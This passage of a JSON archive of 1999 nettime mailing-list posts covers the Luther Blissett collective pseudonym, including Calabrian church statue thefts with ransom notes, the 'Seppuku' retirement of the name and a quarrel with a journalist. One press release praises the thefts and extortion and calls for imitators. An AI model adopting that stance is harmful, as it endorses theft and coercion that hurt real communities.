a sign devised by Andr\u00e9 Breton:\n\nDADA IS NOT DEAD!\nWATCH YOUR OVERCOAT!\n\nOr, to move closer to the present enigma, consider the time novelist Ken\nKesey met novelist Terry Southern. Kesey found to his delight that Southern\nwas just as funny in person as he was in his books and they had a wonderful\ntime together. Only long after did Kesey discover that he had not met Terry\nSouthern at all. He had met somebody else--an \"imposter\" in pre-anarchist\nlanguage. \n\nI also met Terry Southern once, or think I did, and also found him\nhilarious. Of course, with Kesey's experience in mind, I might wonder if I\nactually met the \"real\" Terry Southern. But modern anarchists would inform\nme that even asking such a question is buying into the language and\nmetaphysics of the ruling class which oppresses us by defining us. One can\nonly say that Terry Southern has become a multiple single.\n\nAnyway, once Luther Blissett was firmly established as both an individual\nsports hero in Ireland and one or many anarcho-surrealists in Italy, life\nbecame more interesting for Europeans--the way it was for most of us on\nthis side of the pond in the 1980s when we could watch Ronald Reagan play\nthe hero's buddy in a morning college football movie on TV, then catch him\nagain playing the hero himself in a Western in the afternoon, and finally\nsee him a third time playing the President on the evening news. \n\nThe Italian Luther Blissett(s) then published a book of essays allegedly by\nArab-American anarchist, Hakim Bey. It later turned out that only one essay\nwas by Bey; the rest were forgeries--although one was a translation from\nJohn Zerzan, the Oregon anarchist who became famous, or infamous, for\ndeclaring that the Unabomber was his personal hero. \n\nThings became a bit stranger when the infant Jesus disappeared from a\nchurch in Belvedere, followed quickly by the vanishings of three more\ninfant Jesi from churches in Marittimo, Tortora, and Diamante, all four\ncities being on the Tyrrhenian coast. \n\n\"What is the Buddha?\" a student once asked a Zen Master.\n\"The one in the hall,\" replied the Master.\n\"But the one in the hall is a statue, a piece of wood! \" \n\"True. . . .\"\n\"Then what is the Buddha?\"\n\"The one in the hall.\"\n\nItalians seem to understand Zen logic better than most Europeans and the\ndematerializing Jesi (or Jesuses?) really caused mass emotional reactions.\nIt was as if Andy Warhol had sued Campbell Soup for selling cheap imitation\nWarhols.\n\nThen the ecclesiastical athorities received a communique (written on an old\nOlivetti typewriter) demanding that the Church distribute one hundred\nmillion lire to the poor, or else: \n \"The Holy Child will be destroyed. Anyway, you  only care for the money,\nnot for the Child's  sacral value. . . . In Calabria people die of  hunger,\nthirst, unemployment, mafia, corruption  and usury. Illegal employment is\nthe rule. There are no houses. The Church doesn't care and gets  richer. If\nyou don't distribute a 100 million  lire worth of food . . . the Holy Child\nwill be  smashed into pieces.\"   --Luther Blissett\n\nThe prototype Luther Blissett in Ireland told the press he didn't\nunderstand what was going on.\"They keep doing all sorts of things and I\nkeep getting the credit or the blame for it.\" \n\nThe police in Italy announced that they suspected a sort of Luther\nBlissett-X--not the \"original\" multiple singularity of anarchist\npranksters, but a band of professional art thieves masquerading as the\nmasqueraders. The infants stolen have a high commercial value, said the\nsuspicious cops, and instead of being smashed they may be sold to the\nhighest bidders, like the famous Maltese Falcon.\n\nOne incautious priest in Belvedere remarked worriedly that the only way to\nprevent future thefts would be to lock all the churches and keep everybody\nout. The press gleefully quoted him. If there were no thieves thinking of\nthat before, there certainly are now. . . .\n\nWill the Church distribute the100 million lire to the poor? Will the Infant\nJesuses (Jesi?) be smashed or sold to private collecters? How many more\nLuther Blissetts will come forth from the shadows before this saga is over?\nYou can follow future developments through the following websites:\n\n     http://www.blather.net/winstuff.html\n     http://www.syntac.net/lutherblissett\n     http://www.LutherBlissett.net\n     http://www.geocities.com/Paris/Leftbank/6815\n     http://news.bbc.co.uk/hi/english/sport/football/newsid_293000/293678.stm\n\nI sort of think I know how the first Luther Blissett feels, because a lot\nof people on Internet still claim I was murdered by the C.I.A. on 22 Feb.,\n1994. No denials by me have stopped this absurd rumor, because the\nconspiracy buffs who believe it also believe that the C.I.A.replaced me\nwith an \"android\" or humanoid robot which writes and talks just like\n\"Robert Anton Wilson.\" Some even claim that my evident \"sincerity\" in\nclaiming I am \"Robert Anton Wilson\" just proves how advanced the secret\ntechnology of the C.I.A is: Any really good RAW android would not only\nwrite, talk and look like me, but woud necessarily think it was me....\n\n As Oscar Wilde said, \"The reality of metaphysics  is the reality of masks.\"\n \n    --------------------------------------------------\n For more intelligent convolutions from the  world's smartest CIA-made\nandroid, go to:\n http://www.rawilson.com and prosper\n\n     --------------------------------------------------\n    \n    \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Thu, 25 Nov 1999 04:48:08 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199911250320.WAA06028 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00152.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett Project Newz",
                "subject": "<nettime> Is Watford in Ireland?"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00008",
                "content": "\n\n>From \"La Repubblica\" (Italian daily paper), 2 September 1999, p. 21:\n\n\nGANG KIDNAPS HOLY CHILDREN\n\"Give 100 million lire to the poor!\"\nCalabria, four statues stolen in churches. \nA famous name claims theft: Luther Blissett \n\nfrom our correspondent Pantaleone Sergi\n\nDiamante - Since the fourth Holy Child was kidnapped, snatched from the\narms of the Virgin Mary, the people of Cosenza's Tyrrhenian coast (where\ntourists are enjoying the last sunny days) have started to be alarmed. \nNobody can figure out what is the real purpose of the persons hiding\nthemselves behind the name \"Luther Blissett\". They wrote \"Up with Marx! Up\nwith Debord!\" at the foot of their communiques, by which they summoned\nEcclesiastic authorities to distribute 100 million lire [about $53,000,\nt.n.] to the local poor.  Luther Blissett is a famous alias on the\nInternet, a cyberpunk [sic! :-)].  However, this tyrrhenian name-sake, who\nstole statues in the little towns of Belvedere Marittimo, Tortora and\nDiamante, does not seem to feel at home with the Net: the communiques are\ntypewritten by an old Olivetti (very anarchist-chic), and the language\nreminds of past red terrorists: \"The Holy Child will be destroyed. Anyway,\nyou only care for the money, not for the Child's sacral value [...] In\nCalabria people die of hunger, thirst, unemployment, mafia, corruption and\nusury. Illegal employment is the rule.  There are no houses. The Church\ndoesn't care and gets richer. If you don't distribute a 100 million lire\nworth of food in the next 48 hours, the Holy Child will be smashed into\npieces.\"  Parish priests are alarmed: four art thefts in less than two\nweeks. Padre Antonio Ranuio, priest of Diamante parish, says he is \"sad\nand sorrowful\".  Padre Guido Mollo, priest of Belvedere parish, talks\nabout a conspiracy. As a matter of fact, all thefts took place in broad\ndaylight, and the only way to avoid new ones would be shutting all\nchurches' doors.  According to investigating authorities, these thefts\nhave not ideological motives. The traffic of sacred art is growing wide,\nand most little towns host rich collections of XVIIth century Neapolitan\nart. Diamante's Church of Immaculate Conception hosted the 15-inches\nwooden Holy Child which the thieves snatched from the arms of the Madonna\ndel Rosario. According to experts, the statue has a high commercial value\nfor art collectors. \"I hope this was the last burglary\", says padre\nRanuio, who fears a sacrilegous use of the statues.  The Holy Child Gang\nstarted to strike at mid-August holyday. The first theft (a XVIIth century\nHoly Child in Belvedere) took place on the 16th.  Two days later, again in\nBelvedere, the second victim was a Crown-carrying angel. Another Holy\nChild was stolen a few days later in Tortora's Chiesa dell'Annunziata: the\nthieves broke in from a side entrance and snatched the child from St..\nAnthony's arms. Last monday, the latest theft in Diamante.  Believers are\nnow praying and begging God that the statues return to their churches. The\nCarabinieri say they have some clues and will capture the mysterious gang.\n\n[A press-release from the authors of *Q*]\n\n\nUNCONDITIONAL SOLIDARITY TO THE LUTHER BLISSETTS \nWHO STOLE HOLY CHILDREN FROM CALABRIAN CHURCHES\n\nBologna, 2 September 1999\n\nJournalists wonder what is behind it: why do unknown people steal Holy\nChild statues from the churches of Tyrrhenian Calabria? Why do they use\nthe \"Luther Blissett\" multiple name?  To us, there's nothing \"behind\" it\nexcept what our name-sakes themselves wrote in their communiques: the\nChurch must give 100 million lire to the poor, or the statues will be\ndestroyed. It's plain and simple: priests must empty their wallets!  It is\npossible that these wonderful actions of iconoclasty and class war, these\nattacks to the catholic power organizing its arrogant self-celebration\n(the 2000 Holy Jubilee) was inspired by our novel *Q* - the whole story\nseems has an Anabaptist flavour and seems to have gushed out from the\nnovel's pages. If this were real, we'd be happy to be described as \"wicked\nteachers\". Indeed, we are very keen to call ourselves the \"ideological\nmandators\" of the Calabria events. So far, this is the best consequence of\nthe 30,000 copies we have sold.  We hope that numberless emulators follow\nthese Calabrian steps. Forcing priests to shut the doors of their churches\nis the best way to oppose the impending Jubilee.  In the unfortunate case\nthe police capture our Calabrian name-sakes, we'll express our active\nsolidarity by any means necessary.  We don't need a War on Poverty. What\nwe need is a war on the rich. \n\nLuther Blissett \n(in this line-up: Fabrizio P. Belletati, Giovanni Cattabriga, \nLuca Di Meo, Federico Guglielmi)\n\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - last update: August 1999 - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Thu, 02 Sep 1999 17:20:30 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199909021552.LAA17310 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00008.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Holy Child kidnapped by LB!!!"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00050",
                "content": "\nS e p p u k u ! \n\n\n'The question obsessing me is: have I kept my promise? Without doubt, by my\nrefusal and my critique I made some kind of promise. I am not a politician,\nby keeping my word I would not dispense any real benefit to anybody, and\nyet I am haunted night and day by the feeling that I have failed to keep a\npromise, one that is more important and necessary than those of\npoliticians. Sometimes I am tempted to sacrifice literature itself, if only\nI could keep that promise. Maybe it is a mere repercussion of \"male pride\",\nhowever, there is no doubt that having lived in peace through the past\ntwenty-five years of democracy - even getting advantages out of it in spite\nof my dissent - has long hurt my soul.'\n(Mishima Yukio, 1970) \n\n'When the enemy is frightened, his combativeness weakens, which creates a\nloss of timing. Even simple, ordinary gestures can be used to distract the\nenemy's attention. For example, throwing one's sword to the ground is part\nof the art of war. If you are really able in swordless fight, you will\nnever be disarmed.'\n(Munenori Yagyu, XVIIth century)\n\n\nMany subjectivities of the Luther Blissett Project Italian columns have\ndecided to greet the new millennium by committing seppuku, a ritual\nsuicide. Suicide is the practical demonstration that Blissett gives up\nmere survival as a territorial, identitarian logic. Suicide is the\nultimate and most extreme 'take to the bush' of this folk hero. \n\nWe are not advocating nihilism or relinquishment; rather, we are choosing\nlife. Seppuku is not *the* course of action, Luther Blissett is a name\nthat anybody can keep adopting also after next New year's Day. There are\ncountries where the fight has just begun, and we surely hope it goes on. \nSeppuku is our suggestion for those who have used the name for at least\nthe past five years, so that they look for new styles of this martial art,\nand let the \"newcomers\" free to develop their own plans. We should be\nstrangers in nameless lands: to someone else, this can be accomplished by\nadopting the LB multi-use name; to us \"veterans\", it is quite the\nopposite. \n\nThe Seppuku is not the end of Luther Blissett. It is the beginning of a\nnew phase, a new way of using his face and name. For those who will commit\nit, Blissett's suicide will consist in giving up that signature and moving\non to new conflicts. It is quite the contrary of what usually happens to\nsuicides: they don't go anyplace, while their names are more oft-mentioned\nthan before their death. \n\nSeppuku is not a defensive move, to avoid the Multiple's spectacular\nrecuperation or something like that. What has non identity cannot be\nrecuperated. Blissett's purpose has always been infiltrating \"mainstream\nculture\" as a trojan horse and opening the city's doors to multifarious\nexperiences. They owe a plenty of money to all of us, now we are entering\nthe vault. \n\nThinking of Buddhist belief in reincarnation: the followers of the\nAwakened One do not believe in an immortal soul; none the less, they think\nthat a person can reach the Nirvan once s/he's gone through several lives. \nReincarnation without soul (as well as without identity) may seem a\ncontradiction in terms, and yet it is conceivable, because every action of\nliving beings leaves a trace, some sort of potentiality which, once the\nindividual's earthly body is dead, produces the birth of another being. \nAnalogously, so that the tension which Blissett produced in the past years\ncan become incarnate in other experiences, the corpse must release spores\nthat are both infective and thaumaturgical. Never the less, the Multiple\nhas numberless bodies, many of them will stay alive notwithstanding the\ndeath of some others. \n\nThanks to the Seppuku, \"Luther Blissett\" will go through different\nrebirths, all of them disengaged from the strict adoption of a name, for a\nname cannot help producing an identity. Whether this identity is singular\nor collective, real or virtual, historical or mythological is certainly\nnot without consequences, but after a while it become something you need\nto get rid of. \n\nAs Zhuangzi reminds us: \"The perfect man has no ego, the inspired man has\nno works, the wise man has no name\".  And, as the matchless Cary Grant\nonce put it: \"It is better to leave a minute earlier, leaving people\nwanting more, rather than a minute too late, when people are getting\nbored.\" \n\nLuther Blissett Project - Bologna, September 1999\n\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - last update: August 1999 - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 06 Sep 1999 19:09:54 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199909062050.QAA30584 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00050.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Seppuku!"
            },
            {
                "id": "00073",
                "content": "\nThe following piece appeared on the latest issue of \"Heise\"\n<http://www.heise.de/tp/> a German on-line magazine covering Internet and\nnet-culture phenomena. The author seems to have read a lot of material\nabout LB, and yet the piece contains several errors (probably due to such\nbad sources as the Nihil junk-list) and misinterpretations. For the last\ntime before my \"ritual suicide\" as a Luther Blissett name-bearer,\nflag-waver and web-master, I feel I must set the records straight. After\nDecember 1999, it won't be none of my goddamn business anymore. My comments\nare at the foot of the message.\nLong live Luther Blissett, become Luther Blissett!\n\nRoberto Bui, aka Fabrizio P. Belletati \n(one of the activists formerly known as \"Luther Blissett\")\n\n\n\n09.09.1999\n\nLuther Blissett is dead\nLong live Luther Blissett\n\nby Ashley Benigno\n\nTaking inspiration from Yukio Mishima, Luther Blissett has announced he\nwill be committing ritual suicide on the first day of the new millennium.\nAt the same time, he has been kidnapping religious icons in the south of\nItaly, the ransom notes demanding money for the poor. While on the\npublishing front, his novel \"Q\" is taking Italy by storm. Random\ncoincidences perhaps, or a beautiful example of the diverse identities a\ncollective identity can develop. So why the call to Seppuku?\n\nRumours of the imminent demise of Luther Blisset had been circulating on\nItalian mailing lists for a few months, some declaring him already dead,\nuntil Luther himself announced his Seppuku on the Nihil list a few days\nago, and has now gone global by posting on mailing lists such as Nettime\nand Rhizome his intention of committing ritual suicide on 1 January 2000.\nBut as a multi-user name, who will die? According to Luther Blissett, it\nwill be the veteran posse behind Bologna's equivalent of Karen Elliot, the\nanonymous ones that have been operating behind the name for at least five\nyears. It is time, LB says, \"to let the 'newcomers' free to develop their\nown plans\". But who are these 'newcomers'? and could it be that Luther\nBlissett is pissed off with Luther Blissett?\n\nThe recent publication of the novel \"Q\" by LB and its subsequent success,\nwith 30,000 copies already sold in Italy and soon to be published in\nGermany (by Piper who bought it from Einaudi for 120 million D-marks; a\nsmall fortune for a first novel), seems to have upset many of those behind\nLuther Blissett, opposed to the commercial exploitation of the name. Worse\nstill, is the fact that the four authors of \"Q\" have revealed their own\nnames behind the pseudonym, thus depriving LB of his image and giving him\nfour actual faces. It is maybe not a coincidence that Luther Blissett's\nSeppuku note followed on the trail of a LB posting made by the authors of\n\"Q\", signed Luther Blissett and, in brackets, their four names. When we\nconsider that multiple names were established to break away from\nrecognition and financial reward in favour of anonymity, it becomes\napparent that the authors of \"Q\" have committed what is in effect an act of\ncold-blooded murder. And if so, is the call to Seppuku simply coming from\nthe ghost of Luther Blissett, dreaming of a more noble death?\n\nAt the same time, can multiple figures die? One thing is for certain, away\nfrom book and Net incarnations, Luther Blissett is currently alive and\nkicking (shit) in the south of Italy. Over the last two weeks, along the\nsouthern Adriatic coast, four statuettes of the Baby Jesus have been stolen\nfrom four different churches. At the feet of each Jesus-less Virgin Mary a\nnote demanding the church authorities pay a ransom of 100 million lire\n(just over 50,000 US dollars) to be distributed among the poor, and signed\nby Luther Blissett. If the money is not paid, the statuettes will be\ndestroyed, the note recites. Curiously, for a techno-saboteur, the notes\nwere written on an old Olivetti typewriter.\n[end of article]\n\n* * * * *\n\n\n\n\n\nWill Luther Blissett die?\n\"Our own plan is to continue for a while, then learn from this experience\nand move to some other thing. On 31 December 1999, last day of the\nMillennium, Luther Blissett might as well die and become something else.\nWho knows?\" \n(One Luther Blissett, interviewed by Loredana Lipperini on *La Repubblica*,\n13 March 1997).\n\nBy the way, the time of the Italian LBP will expire by year 2000. Why?\n\"As the matchless Cary Grant said, it is better to leave one minute\nearlier, leaving people wanting more, rather than a minute too late, when\npeople are getting bored. \n(The authors of *Q* interviewed by the same journalist on *La Repubblica*,\n6 March 1999)\n\n\"One of the stories about General Li says that when the Japanese surrounded\nhis Headquarters by surprise and he was forced to flee at dead of night, he\nordered his troops: \"Get rid of Marx, get rid of Lenin and Stalin, get rid\nof Mao Zedong. Bury your books, you'll get them back later.\" Some of the\nmen objected: \"But... we've got to take our Marxism with us!\". \"Comrades\",\nLi said, \"what does 'Marxism' means at the moment? It does mean that when\nyou are to flee, you've got to run faster!\".\n(A.L.Strong, *Red China*) \n\n\nAnd faster we're running.\n\nThe \"Seppuku\" of the Rome and Bologna sections of the LBP was announced to\nthe press more than two years ago, thus it's got nothing to do with the\npublication of *Q*. \n\nOurs was a Five Year Plan. We adopted the name in 1994, and now we call it\nquits.  \n\nOur ritual suicide, however, doesn't imply the end of the name, as the\nHeise writer herself pointed out. Myths cannot die. \nIndeed, since the first edition of the novel, there was a dramatic increase\nin the name's adoption, appearances and webpages. As to who these\n\"newcomers\" are... For example, the guys stealing statuettes in Calabria\nare newcomers - You bet your life. \nAll the people who have recently started to adopt the name on the Net are\nnewcomers. \n\nAfter more than five years, Luther Blissett is still king of the shit pile.\nWhy should we \"veterans\" keep breeding a child that's already\nself-sufficient? Why should we run the risk of becoming ideological\nballast, preventing other people to give their own practical\ninterpretations of the name?\n\nAs to *Q* and the alleged commercial exploitation of the multi-use name... \nThe book DID NOT upset \"many of those behind Luther Blissett\". Indeed, one\nof the problems about the LBP in Italy is that multiple-name bearers tend\nto *adore* us \"first wave movers\", a trend that made us sound like some\nsort of \"central committee\"... which we never were. \nActually, the only guy who pretended he was upset by *Q* - and posted an\niracund message on the sorry list Nihil (entirely devoted to flame-wars and\njunk-mail) - had long ceased using the name, and his motive was strictly\npersonal. \n*Q* didn't came from nowhere. During the three years we'd been writing the\nbook, the rest of the LBP (at least, the people we were able to reach) were\nconstantly informed about the whole operation. \nThe fact that anonymous guerrillas have kept striking the media system by\nbecoming LB is enough to prove that the novel's success, far from\ndissuading other people from taking the action, was and still is a powerful\nincitement. \nA multiple name is not a collective identity one can betray, that's what my\niracund acquaintance failed to understand. Rather, it is a flexible tool\nwhose use can never be \"wrong\" as long as it respects the anti-copyright\npolicy and a few other style clauses. Certainly, there are more ambiguous\nadoptions than writing a novel. As far as our \"four faces and names\" are\nconcerned, I feel I must remind everybody that we don't appear on TV and\nthere's just one photograph of \"us\" in circulation, nearly a panoramic\npicture: our faces are so small and far away that nobody could recognize\nus. However, are you really sure those four men are \"us\"?\nAs to \"commercial\" exploitation, since its beginnings the use of the name\nhas always had \"commercial\" traits - unlike anarchists, LB never encouraged\nideological or material pauperism. The multiple name was frequently used to\npromote pornographic and sexploitation websites, cfr.\n<http://www.blissett.com>. The funniest example I can throw into this\nmessage concerns *Capital*, a high-brow Italian magazine appealing to\nbusinessmen and stock exchange freaks. All the book reviews on the mag\n(mainly financial crap) are signatured \"Luther Blissett\"! We don't support\nthis kind of adoption, nay, we despise it, but what can we do about it?\nNone of these things ever managed to kill the name. \n\nStill king (or queen) of the shit pile. \nMost likely you go your way and I'll go mine.\nBecome Luther Blissett, and I'll become someone else.\n\n\nRoberto, Bologna, 10 September 1999\n\n\n\n\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - last update: August 1999 - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00073.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Heise and the truth about LB's seppuk",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "follow-up": [
                    {
                        "from": "Ashley <marash {AT} globalnet.co.uk>",
                        "content": "\n>The following piece appeared on the latest issue of \"Heise\"\n><http://www.heise.de/tp/> a German on-line magazine covering Internet and\n>net-culture phenomena. The author seems to have read a lot of material\n>about LB, and yet the piece contains several errors (probably due to such\n>bad sources as the Nihil junk-list) and misinterpretations. For the last\n>time before my \"ritual suicide\" as a Luther Blissett name-bearer,\n>flag-waver and web-master, I feel I must set the records straight. After\n>December 1999, it won't be none of my goddamn business anymore. My comments\n>are at the foot of the message.\n>Long live Luther Blissett, become Luther Blissett!\n\nI am starting to wonder if LB will have the mental strength for his\nannounced ritual suicide, or if he will be languishing in one of Italy's\ndejected and sorrowful homes/prisons for the old, because senile dementia\ndoes seem to be in the air.\n\nWith all honesty, how can Luther Blissett, considering his essence and\nintentions, come out and speak THE truth about Luther Blissett. Is it\nactually possible to do so?\n\nAt the end of the day, is not LB a multiple name, a parasol for those\nseeking anonymity, released to whoever wanted/wants it, like a cultural\nshareware programme ready to be hacked to one's tastes and desires? Is it\ntherefore possible to speak of <errors> and <misinterpretations>?\n\n<I feel I must set the records straight>, you say. But doesn't that hint at\nsome kind of proprietorship, when LB is of public domain? I don't know. It\njust doesn't sound like LB very much:\n\n\"If you want to tune in to the Net's wave, you need to be initiated to its\nculture. It is a spontaneous and natural initiation. You can't be online for\nmore than two days without finding out what a manga is, who the Simpsons\nare, what kind of philosopher's stone Trash promises, who William Burroughs\nis, and so on, without end\"\n(p.27, Luther Blissett, net.gener {AT} tion, Oscar Mondadori 1996)\n\nThe above does. Come on, you have always been a brilliant prankster,\nthrowing any appetizing ingredient (like the recent collaboration with oi!\nband Klasse Kriminale) you could find into your hypermodernist cauldron,\nwhile now it is time for the one and only truth! You haven't turned Hegelian\nin your old age have you? Forgot, that \"there are no facts, only\n(mis)interpretations\"? Do you desire history or myth?\n\n\"Che sara', sara'\", Doris Day used to sing. Time will tell if LB will live\nor die; even histories and myths have a lifespan. For the time being,\nhowever, he seems very sputtanato (to have lost much credibility). First the\nauhtors of Q, now you\n\n>Roberto Bui, aka Fabrizio P. Belletati\n>(one of the activists formerly known as \"Luther Blissett\")\n\nare giving names and identities to someone whose beauty and strength resided\nin his complete anomymity. LB was mysterious. Who is he now?\n\n\nIn any case, maximum respect for the work done and looking forward to your\nnext incarnation.\n\nAshley Benigno.\n\np.s. Will the Reverend William Cooper be taking care of your funeral?\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00086",
                        "date": "Mon, 13 Sep 1999 15:49:36 +0100",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "199909132122.RAA19344 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00086.html",
                        "content-type": "text/plai",
                        "author_name": "Ashley",
                        "subject": "Re: <nettime> Heise and the truth about LB's seppuk"
                    },
                    {
                        "from": "Luther Blissett <luther {AT} syntac.net>",
                        "content": "\nDear Ashley Benigno,\n\nyou keep mistaking one thing for another, and now that I got your angry\nresponse I suspect you may be doing it on purpose. I hope you're not.\nYou write:\n\n>With all honesty, how can Luther Blissett, considering his essence and\n>intentions, come out and speak THE truth about Luther Blissett. Is it\n>actually possible to do so?\n\nThe paradox of censorship!\n\nIt depends on what you understand of his (her) \"essence\" (aaarrggghhh!) and\n\"intentions\".\n\nIn the past years we've been dealing ad nauseam with such fundamentalist\nmisconceptions, by people who thought that Luther Blissett's main features\nwere secrecy and anonymity. Although those people never adopted LB's name,\nthey grew more fanatical than we ourselves ever were, and started to foster\nsuch paradoxical censorship. \n\nLuther Blissett (sorry to disappoint you) is just a name, and it does have\nvery little to do with anonymity. If the latter were the most important\nthing, why not refuse to use *any* name? No, man, the most important thing\nwas and still is mythopoesis. Since 1994, there was never any contradiction\nin using both the multiple name *and* other names. I myself never did it\nuntil the Five Year Plan was about to expire, but many people used to do it.\n\nNow, don't I have the right to speak out - not as a Luther Blissett priest\n(I hope they will never exist): just as *myself* (a man who has been using\nthe name for five years)- and honestly state that I'm gonna cease to adopt\nthat name, because I feel that after all these years it might become a\nprison, \"frozen style\", a set of rules to comply with, that my experience\nis over and other people will probably use the Luther Blissett moniker in\nmore fruitful ways? Several dozens of people decided to do the same. Who\nare you to tell us what we may say and what not?\n\nWhen I wrote that I should \"set the records straight\", I talked about *my*\nrecords, because I am one of the authors of *Q* and you wrote a lot of\nmoronic innuendos about us.\n\nBut then you showed a fair amount of ignorance by citing this:\n\n>\"If you want to tune in to the Net's wave, you need to be initiated to its\n>culture. It is a spontaneous and natural initiation. You can't be online for\n>more than two days without finding out what a manga is, who the Simpsons\n>are, what kind of philosopher's stone Trash promises, who William Burroughs\n>is, and so on, without end\"\n>(p.27, Luther Blissett, net.gener {AT} tion, Oscar Mondadori 1996)\n\nWell, I suppose you're the only person who doesn't know what this text\n(which I wrote myself) really is, why don't you read the truth (yeah, the\nTRUTH) at: <http://www.syntac.net/lutherblissett/mondadr.asc>?\n\nAnd you aroused my suspicions again by writing?\n\n>First the auhtors of Q, now you\n>\n>>Roberto Bui, aka Fabrizio P. Belletati\n\nIf you're so in touch with the scene, how come you don't konw that\n\"Belletati\" is one of those authors?\n\nBests,\n\nR.\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - last update: August 1999 - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00090",
                        "date": "Tue, 14 Sep 1999 14:22:59 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199909141155.HAA21406 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00090.html",
                        "content-type": "text/plai",
                        "author_name": "Luther Blissett",
                        "subject": "Re: <nettime> Heise and the truth about LB's seppuk"
                    }
                ],
                "message-id": "199909120106.VAA12726 {AT} bbs.thing.net",
                "date": "Fri, 10 Sep 1999 17:28:55 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00100",
                "content": "\nA Footnote to my previous message\n\nPerhaps the best thing one can do to understand what the Seppuku means for\nus  is rent a movie:\n\"The Mask of Zorro\" (1998), starring Anthony Hopkins and Antonio Banderas.\nIt explores \"Zorro\" as an open character adoptable by different people. The\nfact that don Diego de la Vega ceases to adopt it doesn't entail the death\nof the character, because the younger Alejandro Murrieta trains to become\nthe new Zorro. A classic cloak-and-dagger movie, but with a strange edge to\nit. \nThat's what will happen to \"Luther Blissett\"\nNow, we are far from being old, e.g. I'm only 29, but we are to move to\nanother project, add new experiences to our class war & pranksterism\ncurricula, that's why we leave the newcomers (some of them are older than I\nam!) with *Q*, a sort of allegorical handbook, a summa theologica of our\nexperiences as multiple name bearers. \nI'm very pleased by that all Italian multi-use name bearers have devoured\nthe novel and enthusiastically approved the *Seppuku* operation, and I look\nforward to the foreign editions.\n\n\nRoberto \n(one of the activists formerly known as \"Luther Blissett\")\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - last update: August 1999 